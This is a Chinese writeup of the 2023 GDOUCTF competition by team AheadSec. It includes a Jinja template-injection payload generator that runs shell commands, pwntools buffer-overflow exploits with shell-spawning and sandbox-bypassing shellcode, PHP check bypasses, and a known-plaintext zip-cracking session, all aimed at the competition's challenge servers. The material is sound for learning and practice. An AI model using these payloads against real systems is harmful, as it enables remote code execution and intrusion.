0


2023 广东海洋大学 GDOUCTF Writeup By AheadSec

感谢战队的每位同学,辛苦了~
Web:

Nacl

monkey777

peakaboo

Pwn:

zsNick

Crypto:

Nacl

Reverse:

kcldah

Misc:

mochu7

Nacl

最终成绩第17名:
image.png

文章目录

Web

hate eat snake

打开界面看到是个贪吃蛇游戏,拿flag的条件是坚持60秒,玩了一下可以发现蛇会越来越快,那么肯定有个参数控制蛇的速度
然后打开右键检查查看源代码,可以发现确实存在控制蛇速度的参数:speed

window.onload =function(){newSnake('eatSnake',10,false);}var Snake =function(snakeId, speed, isAuto){
    this.width = arguments[3]||35;
    this.height = arguments[4]||35;
    this.snakeId =snakeId||'snake';
    this.Grid =[];
    this.snakeGrid =[];
    this.foodGrid =[];
    this.derectkey =39;
    this.goX =0;
    this.goY =0;
    this.speed = this.oldSpeed =speed||10;
    this.stop =true,
    this.snakeTimer =null;
    this.isAuto =isAuto||false;
    this.init();

    this.timeCounter =0;
    this.startTime =0;};

这里可以发现创建蛇的时候给了一个初始速度10,咋可以改掉,自己随机设置

this.speed = this.oldSpeed = speed ||10;

这里也可以改掉,自己随便改

然后再

Ctrl + F

查找一下还有没有控制speed的地方

然后可以在

main: function() { this.speed++;}

发现自增,然后干掉自增,

然后等着玩蛇就会自动出flag,虽然可以改那个出flag的时间,但一时半会没找到就算了

EZ WEB

打开题目进入主页,右键查看源代码可以发现有注释:

</src>

image.png

然后访问

/src

目录

image.png

使用

PUT

的方式访问路径:

/super-secret-route-nobody-will-guess

就可以获取flag

image.png

受不了一点

打开题目可以看到一堆代码

<?phperror_reporting(0);header("Content-type:text/html;charset=utf-8");if(isset($_POST['gdou'])&&isset($_POST['ctf'])){$b=$_POST['ctf'];$a=$_POST['gdou'];if($_POST['gdou']!=$_POST['ctf']&&md5($a)===md5($b)){if(isset($_COOKIE['cookie'])){if($_COOKIE['cookie']=='j0k3r'){if(isset($_GET['aaa'])&&isset($_GET['bbb'])){$aaa=$_GET['aaa'];$bbb=$_GET['bbb'];if($aaa==114514&&$bbb==114514&&$aaa!=$bbb){$give='cancanwordflag';$get='hacker!';if(!isset($_GET['flag'])&&!isset($_POST['flag'])){die($give);}if($_POST['flag']==='flag'||$_GET['flag']==='flag'){die($get);}foreach($_POSTas$key=>$value){$$key=$value;}foreach($_GETas$key=>$value){$$key=$$value;}echo$f1ag;}else{echo"洗洗睡吧";}}else{echo"行不行啊细狗";}}}else{echo'菜菜';}}else{echo"就这?";}}else{echo"别来沾边";}?>
别来沾边

一步一步分析,首先需要POST传入参数:ctf、gdou

然后需要过一个md5强碰撞

if($_POST['gdou']!=$_POST['ctf']&&md5($a)===md5($b)){}

绕过方法很简单,以数组方法传入gdou和ctf的值
后面md5因为无法解析数组内容,然后会读入一个字符串

array

,然后两个参数md5值就相等了

接着还需要再请求头中添加cookie参数,它的值为:j0k3r

接着需要传入参数:aaa、bbb,然后绕过以下代码

if($aaa==114514&&$bbb==114514&&$aaa!=$bbb){}

这个是字符串的弱比较,因为== 在进行比较的时候,会先将字符串类型转化成相同,再比较
比如如下案例

image.png

所以参数的值就可以写:aaa=114514,bbb=114514a

最后这个串代码绕过方式很简单,POST、GET各传入一个参数就可以了,看着那么多判断,但实际上只要传入了参数就能过,有没有值都不重要

if(!isset($_GET['flag'])&&!isset($_POST['flag'])){die($give);}if($_POST['flag']==='flag'||$_GET['flag']==='flag'){die($get);}

最终结果

image.png

<ez_ze>

模板注入
参考:https://blog.csdn.net/weixin_52635170/article/details/129856818
附脚本,需要修改url地址

from typing import List

import requests

url ="http://node6.anna.nssctf.cn:28298/get_flag"defbuild_number(num:int)->str:
    result: List[str]=[]
    index:int=0while num >0:
        n:int= num %10
        result.append(f"({num2var(n)}{'*ten'*index})")
        num //=10
        index +=1return"+".join(result)

num2var_dict ={0:"zero",1:"one",2:"two",3:"three",4:"four",5:"five",6:"six",7:"seven",8:"eight",9:"nine"}defnum2var(num:int)->str:ifabs(num)>=10:raise Exception("no way")return num2var_dict[num]defbuild_payload(command:str)->str:return"""{% set one=(a,)|length %}
{% set zero=one-one %}
{% set two=one+one %}
{% set three=one+two %}
{% set four=two*two %}
{% set five=three+two %}
{% set six=three*two %}
{% set seven=one+six %}
{% set eight=four*two %}
{% set nine=one+eight %}
{% set ten=five*two %}
{% set pops=dict(p=a,op=a)|join %}
{% set lo=(x|reject|string|list)|attr(pops)("""+ build_number(24)+""")%}
{% set init=(lo,lo,dict(ini=a,t=a)|join,lo,lo)|join %}
{% set cc=(lo,lo,dict(glo=a,bals=a)|join,lo,lo)|join %}
{% set ccc=(lo,lo,dict(get=a,item=a)|join,lo,lo)|join %}
{% set cccc=(lo,lo,dict(buil=a,tins=a)|join,lo,lo)|join %}
{% set evas=dict(ev=a,al=a)|join %}
{% set chs=dict(ch=a,r=a)|join %}
{% set chr=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(chs)%}
{% set eval=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(evas) %}
{% print(eval(("""+",".join([f"chr({build_number(ord(c))})"for c inf"__import__('os').popen('{command}').read()"])+""")|join)) %}"""defrun(command:str)->str:
    payload = build_payload(command)
    response = requests.post(url, data={"name": payload})print(payload)print(response.text)#return re.findall(f"h3>(.*?)</h3", response.text, re.S)[0].strip()

c ='cat /flag'print(run(c))

问卷来力!

无法复制,F12源码查看image.png

Pwn

EASY PWN

1.canary关闭 2.存在get函数溢出漏洞 3.程序提供了print_flag函数给flag
综合上述3点 符合ROP中的ret2text攻击手法的前提条件

from pwn import*
context.arch='amd64'# 连接远程
io = remote("node5.anna.nssctf.cn",28958)# 获取程序中的print_flag函数地址
elf = ELF("./easypwn")
print_flag = elf.sym['print_flag']#get函数溢出 进行ret2text攻击
payload =b'a'*(0x1f+8)+p64(print_flag)#发送攻击
io.sendafter('Password:',payload)#接收flag
io.recvall()
io.interactive()#补充: 不知为何 用pwntools连接会有问题    直接在nc链接程序的时候 把paylaod内容手动输入

ezshellcode

1.写入shellcode
2.栈溢出跳转执行 写入的shellcode

# coding:utf-8from pwn import*

context.arch='amd64'# 连接远程
io = remote("node5.anna.nssctf.cn",28010)# 输入长度有限 pwntools生成的shellcode不够写入   找了个短的shellcode
shellcode=b'\x48\x31\xC0\x6A\x3B\x58\x48\x31\xFF\x48\xBF\x2F\x62\x69\x6E\x2F\x73\x68\x00\x57\x54\x5F\x48\x31\xF6\x48\x31\xD2\x0F\x05'
io.sendafter("Please.\n",shellcode)# ret2text:跳转执行上一步写入的shellcode
payload =b'a'*(0xA+8)+p64(0x6010A0)
io.sendafter("start!\n",payload)
io.interactive()

真男人下120层

题目采取了srand 和 rand函数 制造随机数
可以利用ctypes库 输入相同的seed种子值 就可以获得和题目相同的随机数了
打满120次随机数猜测 就可以得到程序给出的flag

from pwn import*from ctypes import*  

context.arch='amd64'# 连接远程
io = remote("node4.anna.nssctf.cn",28850)# 加载rand函数的所在函数库
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')#模仿程序 设置同样的srand函数
libc.srand(libc.time(0))
libc.srand((libc.rand()%3)-0x5AB9D26E)#猜对120次随机数  程序会给出flagfor i inrange(120):
    io.sendlineafter("Floor ",str((libc.rand()%4)+1))

io.interactive()

RANDOM

开启了sandbox(): 1.shellcode不可以提权 2.只允许open write read功能
3.shellcode的写入长度受限
综合上述3点 运用orw_shellcode 让shellcode读取输出flag

1.用ctypes获取 linux生成的随机函数 跳转vulnerable函数
2.开启了沙箱保护 不能shellcode提权 只能orw_shellcode读取flag
3.由于写入长度不够 分两次写 jmp rsp劫持返回地址 继续向下运行
4.data_addr是用pwndbg的vmmap指令 找到的可读可写可执行 地址段落
5.jmp rsp指令的地址 程序里的haha()函数中有给出

from pwn import*from ctypes import*  

context.arch='amd64'# 连接远程
io = remote("node6.anna.nssctf.cn",28969)# 加载rand函数的所在函数库
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0))#设置srand函数

jmp_sp =0x40094E
data_addr =0x601000#通过随机数验证  程序会跳转到vulnerable函数
io.sendlineafter("num:",str(libc.rand()%50))"""
利用 jmp_sp + asm 的攻击方式  让sp指针跳回变量地址 执行shellcode: 
    在data_addr 0x601000 写入orw_shellcode后
    并跳转执行data_addr 0x12300的orw_shellcode
"""
payload=asm(shellcraft.read(0,data_addr,0x100))#调用read函数 在data_addr 0x601000处写入 orw_shellcode内容
payload+=asm('mov rax,0x601000;call rax')#并且call ax寄存器 调用执行 data_addr 0x601000处的orw_shellcode
payload=payload.ljust(0x28,b'\x00')#打满变量空间 和 rbp寄存器的字节
payload+=p64(jmp_sp)#返回地址写成jmp_esp,继续运行当前sp后续指令 填写别的返回地址 就无法控制程序后面的执行流程了
payload+=asm('sub rsp,0x30;jmp rsp')#此时sp已经离shellcode地址偏移0x30,这里把sp挪回到shellcode地址 并跳转到shellcode
io.sendlineafter("your door\n",payload)"""
orw_shellcode执行的内容:
打开本地的flag文件 
把flag文件内容写入到 data_addr+0x100
把输出data_addr+0x100的flag文件内容
"""
orw_shellcode = shellcraft.open("./flag")#打开本地的flag文件
orw_shellcode += shellcraft.read(3, data_addr+0x100,0x50)#文件描述符3:其它打开的文件 flag内容写入到data_addr+0x100
orw_shellcode += shellcraft.write(1, data_addr+0x100,0x50)#文件描述符1:输出  地址data_addr+0x100存储的flag内容
io.send(asm(orw_shellcode))

io.interactive()

Crypto

Absolute_Baby_Encrytpion

let messagetoEncrypt =prompt("Enter a string: ").toLowerCase();let charArray = messagetoEncrypt.split("");let encryptedString ="";let hasInvalidCharacter =false;for(let i =0; i < charArray.length; i++){switch(charArray[i]){case'a':
            encryptedString = encryptedString.concat('!')break;case'b':
            encryptedString = encryptedString.concat('1')break;case'c':
            encryptedString = encryptedString.concat(')')break;case'd':
            encryptedString = encryptedString.concat('v')break;case'e':
            encryptedString = encryptedString.concat('m')break;case'f':
            encryptedString = encryptedString.concat('+')break;case'g':
            encryptedString = encryptedString.concat('q')break;case'h':
            encryptedString = encryptedString.concat('0')break;case'i':
            encryptedString = encryptedString.concat('c')break;case'j':
            encryptedString = encryptedString.concat(']')break;case'k':
            encryptedString = encryptedString.concat('(')break;case'l':
            encryptedString = encryptedString.concat('}')break;case'm':
            encryptedString = encryptedString.concat('[')break;case'n':
            encryptedString = encryptedString.concat('8')break;case'o':
            encryptedString = encryptedString.concat('5')break;case'p':
            encryptedString = encryptedString.concat('$')break;case'q':
            encryptedString = encryptedString.concat('*')break;case'r':
            encryptedString = encryptedString.concat('i')break;case's':
            encryptedString = encryptedString.concat('>')break;case't':
            encryptedString = encryptedString.concat('#')break;case'u':
            encryptedString = encryptedString.concat('<')break;case'v':
            encryptedString = encryptedString.concat('?')break;case'w':
            encryptedString = encryptedString.concat('o')break;case'x':
            encryptedString = encryptedString.concat('^')break;case'y':
            encryptedString = encryptedString.concat('-')break;case'z':
            encryptedString = encryptedString.concat('_')break;case'0':
            encryptedString = encryptedString.concat('h')break;case'1':
            encryptedString = encryptedString.concat('w')break;case'2':
            encryptedString = encryptedString.concat('e')break;case'3':
            encryptedString = encryptedString.concat('9')break;case'4':
            encryptedString = encryptedString.concat('g')break;case'5':
            encryptedString = encryptedString.concat('z')break;case'6':
            encryptedString = encryptedString.concat('d')break;case'7':
            encryptedString = encryptedString.concat('~')break;case'8':
            encryptedString = encryptedString.concat('=')break;case'9':
            encryptedString = encryptedString.concat('x')break;case'!':
            encryptedString = encryptedString.concat('j')break;case'@':
            encryptedString = encryptedString.concat(':')break;case'#':
            encryptedString = encryptedString.concat('4')break;case'$':
            encryptedString = encryptedString.concat('b')break;case'%':
            encryptedString = encryptedString.concat('`')break;case'^':
            encryptedString = encryptedString.concat('l')break;case'&':
            encryptedString = encryptedString.concat('3')break;case'*':
            encryptedString = encryptedString.concat('t')break;case'(':
            encryptedString = encryptedString.concat('6')break;case')':
            encryptedString = encryptedString.concat('s')break;case'_':
            encryptedString = encryptedString.concat('n')break;case'+':
            encryptedString = encryptedString.concat(';')break;case'-':
            encryptedString = encryptedString.concat('\'')break;case'=':
            encryptedString = encryptedString.concat('r')break;case'`':
            encryptedString = encryptedString.concat('k')break;case'~':
            encryptedString = encryptedString.concat('p')break;case'{':
            encryptedString = encryptedString.concat('\"')break;case'}':
            encryptedString = encryptedString.concat('&')break;case'[':
            encryptedString = encryptedString.concat('/')break;case']':
            encryptedString = encryptedString.concat('\\')break;case'|':
            encryptedString = encryptedString.concat('2')break;case':':
            encryptedString = encryptedString.concat('.')break;case';':
            encryptedString = encryptedString.concat('%')break;case'\"':
            encryptedString = encryptedString.concat('|')break;case'\'':
            encryptedString = encryptedString.concat(',')break;case'<':
            encryptedString = encryptedString.concat('@')break;case'>':
            encryptedString = encryptedString.concat('{')break;case',':
            encryptedString = encryptedString.concat('u')break;case'.':
            encryptedString = encryptedString.concat('7')break;case'?':
            encryptedString = encryptedString.concat('y')break;case'/':
            encryptedString = encryptedString.concat('a')break;default:
            hasInvalidCharacter =true;}}if(hasInvalidCharacter){
    encryptedString ="Invalid String!";}else{
    console.log(`Your encoded string is ${encryptedString}`);}

就是根据这个js脚本反推,然后写在字典里头

import base64
# +}!q")hiim)#}-nvm)i-$#mvn#0mnbm)im#n+}!qnm8)i-$#mvnoc#0nz<$9inm!>-n1:1-nm8)i-$~c58n!}qhij#0[noic##m8nc8n?!8c}w!n]>&
coded_string="K30hcSIpaGlpbSkjfS1udm0paS0kI212biMwbW5ibSlpbSNuK30hcW5tOClpLSQjbXZub2MjMG56PCQ5aW5tIT4tbjE6MS1ubTgpaS0kfmM1OG4hfXFoaWojMFtub2ljIyNtOG5jOG4/IThjfXchbl0+Jg=="
encrypted_string = base64.b64decode(coded_string).decode('utf-8')dict={'a':'!','b':'1','c':')','d':'v','e':'m','f':'+','g':'q','h':'0','i':'c','j':']','k':'(','l':'}','m':'[','n':'8','o':'5','p':'$','q':'*','r':'i','s':'>','t':'#','u':'<','v':'?','w':'o','x':'^','y':'-','z':'_','0':'h','1':'w','2':'e','3':'9','4':'g','5':'z','6':'d','7':'~','8':'=','9':'x','!':'j','@':':','#':'4','$':'b','%':'`','^':'l','&':'3','*':'t','(':'6',')':'s','_':'n','+':';','-':'\'','=':'r','`':'k','~':'p','{':'\"','}':'&','[':'/',']':'\\','|':'2',':':'.',';':'%','\"':'|','\'':',','<':'@','>':'{',',':'u','.':'7','?':'y','/':'a'}
inverted_dict ={value: key for key, value indict.items()}
result =''for char in encrypted_string:if char in inverted_dict:
        result += inverted_dict[char]else:
        result += char
print(result)

image.png

Reverse

Check_Your_Luck

c++代码直接使用了一个方程组,使用python的sympy模块直接求解

// 使用多项式voidflag_checker(int v,int w,int x,int y,int z){if((v *23+ w *-32+ x *98+ y *55+ z *90==333322)&&(v *123+ w *-322+ x *68+ y *67+ z *32==707724)&&(v *266+ w *-34+ x *43+ y *8+ z *32==1272529)&&(v *343+ w *-352+ x *58+ y *65+ z *5==1672457)&&(v *231+ w *-321+ x *938+ y *555+ z *970==3372367)){
        cout <<"Congratulations, Here is your flag:\n";
        cout <<"flag{"<< v <<"_"<< w <<"_"<< x <<"_"<< y <<"_"<< z <<"}"<< endl;}else{

        
        cout <<"\nSeems your luck is not in favor right now!\nBetter luck next time!"<< endl;}}

没啥操作,脚本一跑出结果

from sympy.solvers import solve
from sympy import Symbol

print(chr(114))# 定义变量
v =Symbol('v')
w =Symbol('w')
x =Symbol('x')
y =Symbol('y')
z =Symbol('z')# 定义方程组
eq1 = v*23+ w*(-32)+ x*98+ y*55+ z*90-333322
eq2 = v*123+ w*(-322)+ x*68+ y*67+ z*32-707724
eq3 = v*266+ w*(-34)+ x*43+ y*8+ z*32-1272529
eq4 = v*343+ w*(-352)+ x*58+ y*65+ z*5-1672457
eq5 = v*231+ w*(-321)+ x*938+ y*555+ z*970-3372367# 求解方程组
sol =solve((eq1, eq2, eq3, eq4, eq5),(v, w, x, y, z))# 输出结果print(sol)

doublegame

使用exeinfope查看,64位,无壳

image-20230416180857044.png

运行,发现是个贪吃蛇,

image-20230416181738250.png

直接打开ida,使用 shift + f12,搜索 GAME OVER,发现有很多,一个一个的看

image-20230416181839594.png

直接 按双击,然后点击tab找到调用处,然后开始代码分析

image-20230416181917560.png

分析后有用的代码就是中间的代码块

if( dword_140021E60[42* a2 +42* dword_140020178 + a1 + dword_140020174]==2){++dword_140020170;
    dword_140022CD0 +=10;sub_1400111A9(7i64);sub_14001130C(0i64,22i64);sub_1400111F9(&unk_14001D220);sub_14001105A();}elseif( dword_140021E60[42* a2 +42* dword_140020178 + a1 + dword_140020174]==1|| dword_140021E60[42* a2 +42* dword_140020178 + a1 + dword_140020174]==4){Sleep(0x3E8u);system("cls");sub_1400111A9(7i64);sub_14001130C(28i64,8i64);// 分数要大于100if( dword_140022CD0 <=100){if( dword_140022CD0 <= dword_14002017C )sub_1400111F9(&unk_14001D280);elsesub_1400111F9(&unk_14001D0B8);}else{sub_1400111DB();// 分数大于 13371337时进入第二关if( dword_140022CD0 >13371337)// 游戏第二关sub_14001136B();sub_1400110E6();}sub_14001130C(28i64,11i64);sub_1400111F9("GAME OVER");while(1){while(1){sub_14001130C(28i64,14i64);sub_1400111F9(&unk_14001D320);sub_1400110BE("%c", v7);if( v7[0]!=121&& v7[0]!=89)break;system("cls");sub_1400112EE();}if( v7[0]==110|| v7[0]==78){sub_14001130C(28i64,16i64);exit(0);}sub_14001130C(28i64,16i64);sub_1400111F9(&unk_14001D3A0);}}

一直在函数名那里按 x , 找到这个代码的调用处,动调得知贪吃蛇每走一步,都会去判断上面代码的if,需要通过贪吃蛇才能进入第二关

image-20230416182302223.png

打开第二关,可以看到是个迷宫题

image-20230416182747723.png

代码分析

printf("path\n");
v23 =0;
v24 =0;// 当前所在纵坐标
v15 =15;// 当前所在横坐标
v16 =0;// 出口点纵坐标
v17 =7;// 出口点横坐标
v18 =20;// 画迷宫for( j =0; j <=20;++j )puts(&Buffer[22* j]);sub_1400111F9("Please to save the cat!\n");// 循环判断是否出了迷宫while( v15 != v17 || v16 != v18 ){// 获取当前输入的字符
    v22 =getchar();switch( v22 ){case's':if( Buffer[22* v15 +22+ v16]!=48){
          Buffer[22* v15+++ v16]=32;
          Buffer[22* v15 + v16]=64;}break;case'w':if( Buffer[22* v15 -22+ v16]!=48){
          Buffer[22* v15--+ v16]=32;
          Buffer[22* v15 + v16]=64;}break;case'a':if( Buffer[22* v15 -1+ v16]!=48){// 如果碰到了‘猫’(*)所在if( Buffer[22* v15 -1+ v16]==42)
            v7[20]=48;
          Buffer[22* v15 + v16--]=32;
          Buffer[22* v15 + v16]=64;}break;default:if( v22 ==100&& Buffer[22* v15 +1+ v16]!=48){
          Buffer[22* v15 + v16++]=32;
          Buffer[22* v15 + v16]=64;}break;}// 删除迷宫system("cls");for( j =0; j <=20;++j )puts(&Buffer[22* j]);puts(&v19[25* v23]);// 如果碰到了猫if( v7[20]==48){// 使用第一关的分数与 7620异或
      v24 =sub_140011433(0);// 判断输入的第一关的分数是否正确if( v24 ==13376013){// 重新初始化当前所在位置以及将迷宫中 ‘猫’的位置变为 ‘ ’
        v23 =1;
        v7[20]=32;
        Buffer[22* v15 + v16]=32;
        v15 =15;
        v16 =0;
        v11[0]=64;++v23;}else{sub_1400111F9("error");}}}

分析完后,可以知道第一关需要的分数是 13371337
所以直接使用 ida patch掉第一关,使用 tab进入对应的汇编代码,然后将 跳转改为相反的即可,jle -> jge

image-20230416183758226.png

修改完后得到迷宫

0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000*000000000000000000000
@   0000000000000000000000000000000000000000000000000000000000000000000

走的路段为:

dddssssddwwwwddssddwwwwwwddddssaassddddwwwwddwwwwddd

结束后根据提示:

HZCTF{md5(path)+score}

使用在线 md5加密网站,得到flag:

nssctf{811173b05afff098b4e0757962127eac13371337}

Misc

签到

长亭珂兰寺公众号回复签到
image.png

Matryoshka

压缩包套娃,密码文件给了,是数字英文单词和加、减、乘、取模的,替换下,然后运算下得到密码
注意:这里密码文件中的运算逻辑比较扯,是不按照常规数学逻辑先乘除再加减,而是固定从左往右运算
然后脚本简单处理即可:

import zipfile
import os
import re

defgetPassword(next_pwd_file):withopen(next_pwd_file,"r")as f:
        data = f.read().strip()
    replace_list =[["zero","0"],["one","1"],["two","2"],["three","3"],["four","4"],["five","5"],["six","6"],["seven","7"],["eight","8"],["nine","9"],["plus","+"],["times","*"],["minus","-"],["mod","%"]]for rep_list in replace_list:
        data = data.replace(rep_list[0], rep_list[1])

    nums = re.findall(r"\d{1,}", data)
    valid_nums =[]for num in nums:
        valid_nums.append(str(int(num)))for i inrange(len(nums)):
        data = data.replace(nums[i], valid_nums[i])
    
    list1 =["+","-","*","%"]
    count_res =0for l in list1:
        counts = data.count(l)
        count_res += counts
    data ="("* count_res + data
    
    replace_list_3 =[["+",")+"],["-",")-"],["*",")*"],["%",")%"]]for rep_list in replace_list_3:
        data = data.replace(rep_list[0], rep_list[1])
    password =abs(eval(data))return password

defdecompressZip(next_zip, password, next_pwd_file):
    zf = zipfile.ZipFile(next_zip,"r")
    name_list = zf.namelist()
    zf.extractall(path='.', pwd=password.encode('utf-8'))
    zf.close()# 关闭压缩包文件句柄
    os.remove(next_pwd_file)
    os.remove(next_zip)
    next_pwd_file, next_zip = name_list[0], name_list[1]return next_pwd_file, next_zip

if __name__ =='__main__':
    next_pwd_file ="password1000.txt"
    next_zip ="Matryoshka1000.zip"whileTrue:try:
            password =str(getPassword(next_pwd_file))
            next_pwd_file, next_zip = decompressZip(next_zip, password, next_pwd_file)except Exception as ex:print(ex)break

刚开始比较慢,越到后面,压缩包越小,解压速度越快。稍微等一下,没多久的
image.png

pixelart

图中放了一个缩略图,PS量一下,每个像素宽高都距离

12px
from PIL import Image

img = Image.open('arcaea.png')
w = img.width
h = img.height
img_obj = Image.new("RGB",(w//12,h//12))for x inrange(w//12):for y inrange(h//12):(r,g,b)=img.getpixel((x*12,y*12))
        img_obj.putpixel((x,y),(r,g,b))

img_obj.save('ok.png')

得到的图片正确
image.png
真的flag在LSB中可以看到
image.png

NSSCTF{J3st_2_cats_battling}

getnopwd

明文攻击
image.png

echo -n "00004D3C2B1A01000000FFFFFFFFFFFFFFFF"| xxd -r -ps > pcap_plain
PS D:\Tools\Misc\bkcrack-1.5.0-win64> .\bkcrack.exe -C .\getnopwd.zip -c final.pcapng -p .\pcap_plain -o 6
bkcrack 1.5.0 - 2022-07-07
[14:28:30] Z reduction using 10 bytes of known plaintext
100.0 % (10 / 10)[14:28:30] Attack on 648601 Z values at index 13
Keys: 3290bc3d 27d2d1d8 dfd4c1ae
9.1 % (58992 / 648601)[14:29:18] Keys
3290bc3d 27d2d1d8 dfd4c1ae
PS D:\Tools\Misc\bkcrack-1.5.0-win64> .\bkcrack.exe -C .\getnopwd.zip -c final.pcapng -k 3290bc3d 27d2d1d8 dfd4c1ae -d final.pcapng
bkcrack 1.5.0 - 2022-07-07
[14:38:05] Writing deciphered data final.pcapng (maybe compressed)
Wrote deciphered data.
PS D:\Tools\Misc\bkcrack-1.5.0-win64> .\bkcrack.exe -C .\getnopwd.zip -c DO_NO_BE_MISDIRECTED -k 3290bc3d 27d2d1d8 dfd4c1ae -d DO_NO_BE_MISDIRECTED
bkcrack 1.5.0 - 2022-07-07
[14:38:43] Writing deciphered data DO_NO_BE_MISDIRECTED (maybe compressed)
Wrote deciphered data.

识别一下是啥玩意

root@mochu7-pc:/mnt/d/Tools/Misc/bkcrack-1.5.0-win64# file DO_NO_BE_MISDIRECTED
DO_NO_BE_MISDIRECTED: Zip archive data, made by v4.5, extract using at least v2.0, last modified Mon Jan 26 00:44:48 1970, uncompressed size 1312, method=deflate

修改后缀为

.zip

,解压,看起来是

docx

文件,直接查看

document.xml

image.png
一开始也不知道是什么流量,查了下这两个标识
image.png
发现是数位板流量,找到了一道同样是数位板流量的题目:https://blogs.tunelko.com/2017/02/05/bitsctf-tom-and-jerry-50-points/
首先提取数位板的数据

tshark -r final.pcapng -T fields -Y "usb.transfer_type == 0x01 and frame.len==37" -e "usb.capdata"> usbdata.txt

然后根据上面的链接,知道该数据的存储格式(小端存储)

Example: 
02:f0:50:1d:72:1a:00:00:12
Bytes:
02:f0: -- Header
50:1d: -- X
72:1a: -- Y
00:00: -- Pressure
12 -- Suffix
withopen('usbdata.txt','r')as f:
    lines = f.readlines()for line in lines:
        line = line.strip()
        x = line[4:8][2:]+ line[4:8][:2]
        y = line[8:12][2:]+ line[8:12][:2]
        z = line[12:16][2:]print(int(x,16),int(y,16),int(z,16), sep=" ")
gnuplot

直接画
image.png
PS垂直翻转一下
image.png

NSSCTF{m1nd_3v3rything_y0u_see}

本文转载自: https://blog.csdn.net/mochu7777777/article/details/130188571
版权归原作者 末 初 所有, 如有侵权,请联系我们删除。

“2023 广东海洋大学 GDOUCTF Writeup By AheadSec”的评论:

还没有评论